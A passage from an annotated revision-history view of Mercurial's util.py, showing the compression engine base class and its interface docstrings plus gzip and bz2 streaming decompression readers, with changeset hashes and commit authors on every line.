Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3372 compengines = compressormanager()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3373
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3374 class compressionengine(object):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3375 """Base class for compression engines.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3376
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3377 Compression engines must implement the interface defined by this class.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3378 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3379 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3380 """Returns the name of the compression engine.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3381
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3382 This is the key the engine is registered under.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3383
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3384 This method must be implemented.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3385 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3386 raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3387
30437
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
3388 def available(self):
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
3389 """Whether the compression engine is available.
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
3390
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
3391 The intent of this method is to allow optional compression engines
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
3392 that may not be available in all installations (such as engines relying
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
3393 on C extensions that may not be present).
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
3394 """
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
3395 return True
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
3396
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3397 def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3398 """Describes bundle identifiers for this engine.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3399
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3400 If this compression engine isn't supported for bundles, returns None.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3401
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3402 If this engine can be used for bundles, returns a 2-tuple of strings of
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3403 the user-facing "bundle spec" compression name and an internal
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3404 identifier used to denote the compression format within bundles. To
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3405 exclude the name from external usage, set the first element to ``None``.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3406
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3407 If bundle compression is supported, the class must also implement
30359
673f0fdc1046 util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30356
diff changeset
3408 ``compressstream`` and `decompressorreader``.
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3409
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3410 The docstring of this method is used in the help system to tell users
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
3411 about this engine.
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3412 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3413 return None
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3414
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3415 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3416 """Declare support for this compression format on the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3417
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3418 If this compression engine isn't supported for compressing wire
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3419 protocol payloads, returns None.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3420
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3421 Otherwise, returns ``compenginewireprotosupport`` with the following
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3422 fields:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3423
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3424 * String format identifier
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3425 * Integer priority for the server
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3426 * Integer priority for the client
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3427
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3428 The integer priorities are used to order the advertisement of format
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3429 support by server and client. The highest integer is advertised
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3430 first. Integers with non-positive values aren't advertised.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3431
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3432 The priority values are somewhat arbitrary and only used for default
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3433 ordering. The relative order can be changed via config options.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3434
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3435 If wire protocol compression is supported, the class must also implement
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3436 ``compressstream`` and ``decompressorreader``.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3437 """
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3438 return None
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3439
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3440 def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3441 """Header added to revlog chunks that identifies this engine.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3442
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3443 If this engine can be used to compress revlogs, this method should
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3444 return the bytes used to identify chunks compressed with this engine.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3445 Else, the method should return ``None`` to indicate it does not
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3446 participate in revlog compression.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3447 """
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3448 return None
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3449
30356
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3450 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3451 """Compress an iterator of chunks.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3452
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3453 The method receives an iterator (ideally a generator) of chunks of
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3454 bytes to be compressed. It returns an iterator (ideally a generator)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3455 of bytes of chunks representing the compressed output.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3456
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3457 Optionally accepts an argument defining how to perform compression.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3458 Each engine treats this argument differently.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3459 """
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3460 raise NotImplementedError()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
3461
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3462 def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3463 """Perform decompression on a file object.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3464
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3465 Argument is an object with a ``read(size)`` method that returns
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3466 compressed data. Return value is an object with a ``read(size)`` that
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3467 returns uncompressed data.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3468 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3469 raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
3470
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3471 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3472 """Obtain an object that can be used to compress revlog entries.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3473
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3474 The object has a ``compress(data)`` method that compresses binary
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3475 data. This method returns compressed binary data or ``None`` if
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3476 the data could not be compressed (too small, not compressible, etc).
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3477 The returned data should have a header uniquely identifying this
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3478 compression format so decompression can be routed to this engine.
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3479 This header should be identified by the ``revlogheader()`` return
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3480 value.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3481
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3482 The object has a ``decompress(data)`` method that decompresses
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3483 data. The method will only be called if ``data`` begins with
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3484 ``revlogheader()``. The method should return the raw, uncompressed
39777
b63dee7bd0d9 global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39571
diff changeset
3485 data or raise a ``StorageError``.
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3486
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3487 The object is reusable but is not thread safe.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3488 """
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3489 raise NotImplementedError()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3490
38713
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3491 class _CompressedStreamReader(object):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3492 def __init__(self, fh):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3493 if safehasattr(fh, 'unbufferedread'):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3494 self._reader = fh.unbufferedread
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3495 else:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3496 self._reader = fh.read
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3497 self._pending = []
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3498 self._pos = 0
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3499 self._eof = False
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3500
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3501 def _decompress(self, chunk):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3502 raise NotImplementedError()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3503
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3504 def read(self, l):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3505 buf = []
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3506 while True:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3507 while self._pending:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3508 if len(self._pending[0]) > l + self._pos:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3509 newbuf = self._pending[0]
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3510 buf.append(newbuf[self._pos:self._pos + l])
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3511 self._pos += l
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3512 return ''.join(buf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3513
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3514 newbuf = self._pending.pop(0)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3515 if self._pos:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3516 buf.append(newbuf[self._pos:])
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3517 l -= len(newbuf) - self._pos
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3518 else:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3519 buf.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3520 l -= len(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3521 self._pos = 0
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3522
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3523 if self._eof:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3524 return ''.join(buf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3525 chunk = self._reader(65536)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3526 self._decompress(chunk)
39209
1af95139e5ec util: improve handling of truncated compressed streams
Joerg Sonnenberger <joerg@bec.de>
parents: 39060
diff changeset
3527 if not chunk and not self._pending and not self._eof:
1af95139e5ec util: improve handling of truncated compressed streams
Joerg Sonnenberger <joerg@bec.de>
parents: 39060
diff changeset
3528 # No progress and no new data, bail out
1af95139e5ec util: improve handling of truncated compressed streams
Joerg Sonnenberger <joerg@bec.de>
parents: 39060
diff changeset
3529 return ''.join(buf)
38713
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3530
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3531 class _GzipCompressedStreamReader(_CompressedStreamReader):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3532 def __init__(self, fh):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3533 super(_GzipCompressedStreamReader, self).__init__(fh)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3534 self._decompobj = zlib.decompressobj()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3535 def _decompress(self, chunk):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3536 newbuf = self._decompobj.decompress(chunk)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3537 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3538 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3539 d = self._decompobj.copy()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3540 try:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3541 d.decompress('x')
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3542 d.flush()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3543 if d.unused_data == 'x':
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3544 self._eof = True
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3545 except zlib.error:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3546 pass
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3547
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3548 class _BZ2CompressedStreamReader(_CompressedStreamReader):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3549 def __init__(self, fh):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3550 super(_BZ2CompressedStreamReader, self).__init__(fh)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3551 self._decompobj = bz2.BZ2Decompressor()
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3552 def _decompress(self, chunk):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3553 newbuf = self._decompobj.decompress(chunk)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3554 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3555 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3556 try:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3557 while True:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3558 newbuf = self._decompobj.decompress('')
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3559 if newbuf:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3560 self._pending.append(newbuf)
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3561 else:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3562 break
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3563 except EOFError:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3564 self._eof = True
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3565
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3566 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
3567 def __init__(self, fh):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents: 38575
diff changeset
